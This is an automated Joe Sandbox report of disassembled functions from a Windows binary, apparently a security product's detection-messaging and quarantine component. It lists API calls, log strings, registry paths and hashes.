Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffdac080000_EMp3o1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a5a5e3725c53a151926f610c9bfb798d223dd818db9d286110f1e1aff9ffe1d
Instruction ID: a19c88478e72874a165f17089b31f7b862f48a17d5e1cfae8d43cfdec99ca76e
Opcode Fuzzy Hash: 7a5a5e3725c53a151926f610c9bfb798d223dd818db9d286110f1e1aff9ffe1d
Instruction Fuzzy Hash: 76F06271B1A2958AEFA48F28A852B3977D0E7483D1F948039D69D83B14D73CD4609F0C

Function 00000001400038D0 Relevance: 68.5, APIs: 23, Strings: 16, Instructions: 239
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWaitableTimer.KERNEL32 ref: 000000014000390C
#4.VSELOG ref: 000000014000395D
#4.VSELOG ref: 000000014000398D
EnterCriticalSection.KERNEL32 ref: 0000000140003996
LeaveCriticalSection.KERNEL32 ref: 00000001400039A7
WaitForMultipleObjects.KERNEL32 ref: 00000001400039CB
#4.VSELOG ref: 0000000140003A04
EnterCriticalSection.KERNEL32 ref: 0000000140003A0D
SetEvent.KERNEL32 ref: 0000000140003A52
ResetEvent.KERNEL32 ref: 0000000140003A5F
LeaveCriticalSection.KERNEL32 ref: 0000000140003A70
#4.VSELOG ref: 0000000140003AA1
#4.VSELOG ref: 0000000140003AD5

Strings

amps_Listen: pHandle=%p, waiting for messages from the AMP queue, xrefs: 000000014000397C
amps_Listen: pHandle=%pobject name: %s, xrefs: 0000000140003B02
amps_Listen: pHandle=%psession Id: %d, xrefs: 0000000140003CFB
amps_Listen: pHandle=%p, p=%p, xrefs: 0000000140003949
amps_Listen: pHandle=%p, message received, pulling from AMP queue, xrefs: 00000001400039F3
amps_Listen: pHandle=%p, message is:, xrefs: 0000000140003A90
null, xrefs: 0000000140003AEF
amps_Listen: pHandle=%paction taken: %d, xrefs: 0000000140003CC7
amps_Listen: pHandle=%pdetection message: %s, xrefs: 0000000140003BED
amps_Listen: pHandle=%pdetection name: %s, xrefs: 0000000140003BB2
amps_Listen: pHandle=%pdetection component type: %d, xrefs: 0000000140003C93
amps_Listen: pHandle=%peventId: %d, xrefs: 0000000140003AC4
amps_Listen: pHandle=%pdetection accuracy: %d, xrefs: 0000000140003C2B
amps_Listen: pHandle=%pdetection type: %d, xrefs: 0000000140003C5F
amps_Listen: pHandle=%pobject archive name: %s, xrefs: 0000000140003B74
amps_Listen: pHandle=%pobject type: %d, xrefs: 0000000140003B3D

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: CriticalSection$EnterEventLeave$MultipleObjectsResetTimerWaitWaitable
String ID: amps_Listen: pHandle=%paction taken: %d$amps_Listen: pHandle=%pdetection accuracy: %d$amps_Listen: pHandle=%pdetection component type: %d$amps_Listen: pHandle=%pdetection message: %s$amps_Listen: pHandle=%pdetection name: %s$amps_Listen: pHandle=%pdetection type: %d$amps_Listen: pHandle=%peventId: %d$amps_Listen: pHandle=%pobject archive name: %s$amps_Listen: pHandle=%pobject name: %s$amps_Listen: pHandle=%pobject type: %d$amps_Listen: pHandle=%psession Id: %d$amps_Listen: pHandle=%p, message is:$amps_Listen: pHandle=%p, message received, pulling from AMP queue$amps_Listen: pHandle=%p, p=%p$amps_Listen: pHandle=%p, waiting for messages from the AMP queue$null
API String ID: 1021822269-3147033232
Opcode ID: e7e75cb521e949a2fcfed2942cb356f66ccf7465466a17c5606e033b0a8adf5e
Instruction ID: ec7db78c4d4a766f71db07ed68f83fdabe3b60d74f96cc88383eff92a0be527c
Opcode Fuzzy Hash: e7e75cb521e949a2fcfed2942cb356f66ccf7465466a17c5606e033b0a8adf5e
Instruction Fuzzy Hash: E5D1DAB5205A4592EB12CF17E880BD923A4F78CBE4F454122BB0D4BBB5DF7AD686C350

Function 0000000140001010 Relevance: 38.6, APIs: 12, Strings: 10, Instructions: 89
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32 ref: 0000000140001054
GetProcAddress.KERNEL32 ref: 000000014000106C
FreeLibrary.KERNEL32 ref: 000000014000108F
GetProcAddress.KERNEL32 ref: 00000001400010D2
GetProcAddress.KERNEL32 ref: 00000001400010ED
GetProcAddress.KERNEL32 ref: 0000000140001108
GetProcAddress.KERNEL32 ref: 0000000140001123
GetProcAddress.KERNEL32 ref: 000000014000113E
GetProcAddress.KERNEL32 ref: 0000000140001159
GetProcAddress.KERNEL32 ref: 0000000140001174
FreeLibrary.KERNEL32 ref: 0000000140001194
InitializeCriticalSection.KERNEL32 ref: 00000001400011BE

Strings

{7A7E8119-620E-4CEF-BD5F-F748D7B059DA}, xrefs: 0000000140001081
vseInit, xrefs: 00000001400010FA
vseGlobalInit, xrefs: 00000001400010C8
vseRelease, xrefs: 0000000140001115
vseGet, xrefs: 000000014000114B
vseGlobalRelease, xrefs: 00000001400010DF
msi.dll, xrefs: 0000000140001042
MsiLocateComponentW, xrefs: 0000000140001062
vseExec, xrefs: 0000000140001130
vseSet, xrefs: 0000000140001166

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: AddressProc$Library$Free$CriticalInitializeLoadSection
String ID: MsiLocateComponentW$msi.dll$vseExec$vseGet$vseGlobalInit$vseGlobalRelease$vseInit$vseRelease$vseSet${7A7E8119-620E-4CEF-BD5F-F748D7B059DA}
API String ID: 883923345-381368982
Opcode ID: b9a27f811b976282af616144a97be757c2cf76aa1f8607743da558726ba8644d
Instruction ID: d19804ac2d128cc8e67db72781ea5cb7b7d89be94dae840b99a82102003c66a5
Opcode Fuzzy Hash: b9a27f811b976282af616144a97be757c2cf76aa1f8607743da558726ba8644d
Instruction Fuzzy Hash: F351EEB4221B4191EB52CF26F8987D823A0BB8D7C5F841515EA5E8B3B0EF7AC548C700

Function 0000000140002460 Relevance: 30.1, APIs: 20, Instructions: 110memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140002492
LeaveCriticalSection.KERNEL32 ref: 00000001400024A3
SetEvent.KERNEL32 ref: 00000001400024AD
EnterCriticalSection.KERNEL32 ref: 00000001400024C0
LeaveCriticalSection.KERNEL32 ref: 00000001400024D1
WaitForMultipleObjects.KERNEL32 ref: 00000001400024F1
CloseHandle.KERNEL32 ref: 00000001400024FB
CloseHandle.KERNEL32 ref: 0000000140002505
EnterCriticalSection.KERNEL32 ref: 0000000140002514
SetEvent.KERNEL32 ref: 000000014000255E
ResetEvent.KERNEL32 ref: 000000014000256B
LeaveCriticalSection.KERNEL32 ref: 0000000140002575
GetProcessHeap.KERNEL32 ref: 0000000140002591
HeapFree.KERNEL32 ref: 000000014000259F
GetProcessHeap.KERNEL32 ref: 00000001400025AE
HeapFree.KERNEL32 ref: 00000001400025BC
GetProcessHeap.KERNEL32 ref: 00000001400025CB
HeapFree.KERNEL32 ref: 00000001400025D9
GetProcessHeap.KERNEL32 ref: 00000001400025E8
HeapFree.KERNEL32 ref: 00000001400025F6

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: Heap$CriticalSection$FreeProcess$EnterEventLeave$CloseHandle$MultipleObjectsResetWait
String ID:
API String ID: 1613947383-0
Opcode ID: e9680c11c9d284b0c3aa37b35d301596d2d95dd61f06f1daf2196339e6fd89f5
Instruction ID: 4415f923c5b49a541c3c18af517eb333de188a5b32bf04682df7988820a44021
Opcode Fuzzy Hash: e9680c11c9d284b0c3aa37b35d301596d2d95dd61f06f1daf2196339e6fd89f5
Instruction Fuzzy Hash: 8D51D3BA204A4496E726DF23F85439A6361F79CBD1F044125EB9A07AB4DF39D599C300

Function 0000000140004500 Relevance: 22.6, APIs: 15, Instructions: 73memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,0000000140002456), ref: 000000014000451B
EnterCriticalSection.KERNEL32(?,?,?,0000000140002456), ref: 0000000140004525
GetProcessHeap.KERNEL32 ref: 000000014000454C
HeapFree.KERNEL32 ref: 000000014000455A
SetEvent.KERNEL32 ref: 0000000140004567
ResetEvent.KERNEL32 ref: 0000000140004571
LeaveCriticalSection.KERNEL32 ref: 000000014000457B
CloseHandle.KERNEL32 ref: 000000014000458A
CloseHandle.KERNEL32 ref: 0000000140004599
LeaveCriticalSection.KERNEL32 ref: 00000001400045A3
DeleteCriticalSection.KERNEL32 ref: 00000001400045AD
GetProcessHeap.KERNEL32 ref: 00000001400045D2
HeapFree.KERNEL32 ref: 00000001400045E0
GetProcessHeap.KERNEL32 ref: 00000001400045F5
HeapFree.KERNEL32 ref: 0000000140004603

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: Heap$CriticalSection$FreeProcess$CloseEnterEventHandleLeave$DeleteReset
String ID:
API String ID: 1995290849-0
Opcode ID: 50d905dbcd5d3d8e314177ba4d4162b1dc612bf36ecce00c392234b6cbb64ee5
Instruction ID: 07b3271e3c5f19e1ab061b13c36c38fadfaaa54878a955e19646b3fb384661b9
Opcode Fuzzy Hash: 50d905dbcd5d3d8e314177ba4d4162b1dc612bf36ecce00c392234b6cbb64ee5
Instruction Fuzzy Hash: 7C31D3B6601B41A7EB16DF63F98439833A4FB9CB81F484014EB4A07A35DF39E4B98304

Function 00000001400048A0 Relevance: 22.6, APIs: 15, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00000001400048AD
EnterCriticalSection.KERNEL32 ref: 00000001400048BA
GetProcessHeap.KERNEL32 ref: 00000001400048F1
HeapFree.KERNEL32 ref: 0000000140004903
SetEvent.KERNEL32 ref: 0000000140004917
ResetEvent.KERNEL32 ref: 0000000140004924
LeaveCriticalSection.KERNEL32 ref: 0000000140004931
CloseHandle.KERNEL32 ref: 0000000140004943
CloseHandle.KERNEL32 ref: 0000000140004955
LeaveCriticalSection.KERNEL32 ref: 0000000140004962
DeleteCriticalSection.KERNEL32 ref: 000000014000496F
GetProcessHeap.KERNEL32 ref: 00000001400049A7
HeapFree.KERNEL32 ref: 00000001400049B9
GetProcessHeap.KERNEL32 ref: 00000001400049D5
HeapFree.KERNEL32 ref: 00000001400049E7

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: Heap$CriticalSection$FreeProcess$CloseEnterEventHandleLeave$DeleteReset
String ID:
API String ID: 1995290849-0
Opcode ID: 2f4077f28f01d0b1ccc1c48d704ff51649a530c0da5e40bb1ca44111346c6a52
Instruction ID: fd5ea752b6625aace240e5dc115a6ac8a79eac1ae5096a798ed6b9a4de507a32
Opcode Fuzzy Hash: 2f4077f28f01d0b1ccc1c48d704ff51649a530c0da5e40bb1ca44111346c6a52
Instruction Fuzzy Hash: B2311BB4511E0985EB07DF63FC943D423A6BB5CBD5F8D0129AB4A8B270EF3A8499C214

Function 0000000140002DE0 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 166registryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140002E63
LeaveCriticalSection.KERNEL32 ref: 0000000140002EE7
EnterCriticalSection.KERNEL32 ref: 0000000140002EF9
EnterCriticalSection.KERNEL32 ref: 0000000140002F35
LeaveCriticalSection.KERNEL32 ref: 0000000140002FC0
RegCreateKeyExW.ADVAPI32 ref: 000000014000300B
RegSetValueExW.ADVAPI32 ref: 000000014000304C
RegCloseKey.ADVAPI32 ref: 0000000140003057
LeaveCriticalSection.KERNEL32 ref: 0000000140003064

Strings

action, xrefs: 0000000140003020
?, xrefs: 0000000140002FFE
SYSTEM\CurrentControlSet\Services\vseamps\Parameters, xrefs: 0000000140002FD5

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: CriticalSection$EnterLeave$CloseCreateValue
String ID: ?$SYSTEM\CurrentControlSet\Services\vseamps\Parameters$action
API String ID: 93015348-1041928032
Opcode ID: 29268dff0e12a6c2837206cbe8abbe1365c88675c14f20743fcf2bb12703bfc8
Instruction ID: 955b1bef443a43e40f7389cebc0d05d3cfed999bfec6c75915e9fb821c1678e4
Opcode Fuzzy Hash: 29268dff0e12a6c2837206cbe8abbe1365c88675c14f20743fcf2bb12703bfc8
Instruction Fuzzy Hash: E3714676211A4082E762CB26F8507DA73A5F78D7E4F141226FB6A4B7F4DB3AC485C700

Function 0000000140002B40 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 141libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 0000000140002B91
GetProcAddress.KERNEL32 ref: 0000000140002BAD
GetProcAddress.KERNEL32 ref: 0000000140002BC8
GetProcAddress.KERNEL32 ref: 0000000140002BE3
EnterCriticalSection.KERNEL32 ref: 0000000140002C0D
LeaveCriticalSection.KERNEL32 ref: 0000000140002C9A
EnterCriticalSection.KERNEL32 ref: 0000000140002CAF
LeaveCriticalSection.KERNEL32 ref: 0000000140002D2D

Strings

vseqrtAdd, xrefs: 0000000140002BD5
vseqrtInit, xrefs: 0000000140002BA3
vseqrtRelease, xrefs: 0000000140002BBA
vseqrt.dll, xrefs: 0000000140002B7E

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: CriticalSection$AddressProc$EnterLeave$LibraryLoad
String ID: vseqrt.dll$vseqrtAdd$vseqrtInit$vseqrtRelease
API String ID: 3682727354-300733478
Opcode ID: a0032026953fb9b355f8eab640deda5175e427bf7f4d2824b31ceb49df98d19c
Instruction ID: 5756194132ff8dd7ec1522ad033bffa79c37130547d86cec9d6c1639cfe77c95
Opcode Fuzzy Hash: a0032026953fb9b355f8eab640deda5175e427bf7f4d2824b31ceb49df98d19c
Instruction Fuzzy Hash: 8C710175220B4186EB52DF26F894BC533A4F78CBE4F441226EA598B3B4DF3AC945C740

Function 00000001400033E0 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 126memorytimeCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140003406
SetWaitableTimer.KERNEL32 ref: 0000000140003432
#4.VSELOG ref: 000000014000346A
GetProcessHeap.KERNEL32 ref: 000000014000351C
HeapReAlloc.KERNEL32 ref: 0000000140003531
GetProcessHeap.KERNEL32 ref: 0000000140003539
HeapAlloc.KERNEL32 ref: 0000000140003547
#4.VSELOG ref: 00000001400035DD
LeaveCriticalSection.KERNEL32 ref: 00000001400035E9
LeaveCriticalSection.KERNEL32 ref: 00000001400035FA

Strings

amps_Init: iFlags=%d, pid=%d, sid=%d, xrefs: 0000000140003452
amps_Init: done, pHandle=%p, xrefs: 00000001400035CC

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: Heap$CriticalSection$AllocLeaveProcess$EnterTimerWaitable
String ID: amps_Init: done, pHandle=%p$amps_Init: iFlags=%d, pid=%d, sid=%d
API String ID: 2587151837-1427723692
Opcode ID: 056e3220293f8a27eada56f59a4c806f255f255991a422811975143a91f7a127
Instruction ID: a7c4065e0455d4df5ce4727384a6dec66c16779501c9bb3b2af2b379a082be6c
Opcode Fuzzy Hash: 056e3220293f8a27eada56f59a4c806f255f255991a422811975143a91f7a127
Instruction Fuzzy Hash: 9F5114B5225B4082FB13CB27F8847D963A5F78CBD0F445525BB4A4B7B8DB7AC4448700

Function 0000000140004D10 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 81libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0000000140004D43
GetProcAddress.KERNEL32 ref: 0000000140004D62
GetFileAttributesW.KERNEL32 ref: 0000000140004DE9
LoadLibraryW.KERNEL32 ref: 0000000140004DF7
GetCurrentDirectoryW.KERNEL32 ref: 0000000140004E1C
SetCurrentDirectoryW.KERNEL32 ref: 0000000140004E27
LoadLibraryW.KERNEL32 ref: 0000000140004E30
SetCurrentDirectoryW.KERNEL32 ref: 0000000140004E41

Strings

kernel32.dll, xrefs: 0000000140004D3C
SetDllDirectoryW, xrefs: 0000000140004D58

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: CurrentDirectory$LibraryLoad$AddressAttributesFileHandleModuleProc
String ID: SetDllDirectoryW$kernel32.dll
API String ID: 3184163350-3826188083
Opcode ID: 09225629eee72228c5d7f95fa2eee3f64651a4a6406a600936b89273ecb07b9f
Instruction ID: 3ea874f08b0d6ae9fbaedd0e680489d05007b391355801732f4c7fbd06edc96d
Opcode Fuzzy Hash: 09225629eee72228c5d7f95fa2eee3f64651a4a6406a600936b89273ecb07b9f
Instruction Fuzzy Hash: FD41F6B1218A8582EB22DF12F8547DA73A5F79D7D4F400125EB8A0BAB5DF7EC548CB40

Function 0000000140004BA0 Relevance: 18.1, APIs: 9, Strings: 3, Instructions: 80memorystringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 0000000140004BE7
GetProcessHeap.KERNEL32 ref: 0000000140004BF6
HeapAlloc.KERNEL32 ref: 0000000140004C04
lstrlenW.KERNEL32 ref: 0000000140004C3E
GetProcessHeap.KERNEL32 ref: 0000000140004C4D
HeapAlloc.KERNEL32 ref: 0000000140004C5B
lstrlenW.KERNEL32 ref: 0000000140004C8E
GetProcessHeap.KERNEL32 ref: 0000000140004C9D
HeapAlloc.KERNEL32 ref: 0000000140004CAB

Strings

Security=impersonation static true, xrefs: 0000000140004C80, 0000000140004CBE
ncalrpc, xrefs: 0000000140004BAF, 0000000140004C17
ampIfEp, xrefs: 0000000140004C29, 0000000140004C6E

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: Heap$AllocProcesslstrlen
String ID: Security=impersonation static true$ampIfEp$ncalrpc
API String ID: 3424473247-996641649
Opcode ID: 1d37d06b5998b82bc2dc7011aec07efaf1f4b1bb41d2d67d0687b588f1a55b3d
Instruction ID: 5475aedf582102907cd33adbfaf34f9b11ebc9e91273ce6565e0ea0cfbbdf015
Opcode Fuzzy Hash: 1d37d06b5998b82bc2dc7011aec07efaf1f4b1bb41d2d67d0687b588f1a55b3d
Instruction Fuzzy Hash: FE3137B062A74082FB03CB53BD447E962A5E75DBD8F554019EB0E0BBB6DBBEC1558700

Function 000000014000A740 Relevance: 16.9, APIs: 11, Instructions: 354COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32 ref: 000000014000A7AA
GetLastError.KERNEL32 ref: 000000014000A7BA
MultiByteToWideChar.KERNEL32 ref: 000000014000A874
MultiByteToWideChar.KERNEL32 ref: 000000014000A921
LCMapStringW.KERNEL32 ref: 000000014000A944
LCMapStringW.KERNEL32 ref: 000000014000A98D
LCMapStringW.KERNEL32 ref: 000000014000AA24
WideCharToMultiByte.KERNEL32 ref: 000000014000AA65
LCMapStringA.KERNEL32 ref: 000000014000AB13
LCMapStringA.KERNEL32 ref: 000000014000ABC6
LCMapStringA.KERNEL32 ref: 000000014000AC4C

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: String$ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1775797328-0
Opcode ID: 802883c3254266504f9bffab4fe863b98e9923c524f0017741f2ad98f2b9a469
Instruction ID: 7820e0e177e3580e7fbac086e7e180635334a87404cd07a7d6eea56579f34d7e
Opcode Fuzzy Hash: 802883c3254266504f9bffab4fe863b98e9923c524f0017741f2ad98f2b9a469
Instruction Fuzzy Hash: 7CE18BB27007808AEB66DF26A54079977E1F74EBE8F144225FB6957BE8DB38C941C700

Function 0000000140009C30 Relevance: 16.6, APIs: 11, Instructions: 150COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009C52
GetLastError.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009C6C
GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009C91
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009CD4
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009CF2
GetEnvironmentStrings.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009D09
MultiByteToWideChar.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009D37
FreeEnvironmentStringsA.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009D73
FreeEnvironmentStringsA.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009E19

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharErrorLastMultiWide
String ID:
API String ID: 1232609184-0
Opcode ID: 0fe341c893830b3e5934a62294215ba1eeb7ab0cb4f80f00c247d68fe650ca03
Instruction ID: a97fb2b29f1dbdd40f84dfefdd532c69b8fe37edd6617e3b903b273dff31e607
Opcode Fuzzy Hash: 0fe341c893830b3e5934a62294215ba1eeb7ab0cb4f80f00c247d68fe650ca03
Instruction Fuzzy Hash: 9851AEB164564046FB66DF23B8147AA66D0BB4DFE0F484625FF6A87BF1EB78C4448300

Function 0000000140002740 Relevance: 16.6, APIs: 10, Strings: 1, Instructions: 129memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0000000140001A30: EnterCriticalSection.KERNEL32 ref: 0000000140001AA6
Part of subcall function 0000000140001A30: LeaveCriticalSection.KERNEL32 ref: 0000000140001B30
Part of subcall function 0000000140001A30: EnterCriticalSection.KERNEL32 ref: 0000000140001B48
Part of subcall function 0000000140001A30: LeaveCriticalSection.KERNEL32 ref: 0000000140001BC9
Part of subcall function 0000000140001A30: EnterCriticalSection.KERNEL32 ref: 0000000140001BE6

EnterCriticalSection.KERNEL32 ref: 00000001400027B2
LeaveCriticalSection.KERNEL32 ref: 000000014000286E
GetProcessHeap.KERNEL32 ref: 000000014000287F
HeapFree.KERNEL32 ref: 000000014000288D
GetProcessHeap.KERNEL32 ref: 000000014000289D
HeapFree.KERNEL32 ref: 00000001400028AB
GetProcessHeap.KERNEL32 ref: 00000001400028BB
HeapFree.KERNEL32 ref: 00000001400028C9
GetProcessHeap.KERNEL32 ref: 00000001400028D9
HeapFree.KERNEL32 ref: 00000001400028E7

Strings

H, xrefs: 000000014000278C

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

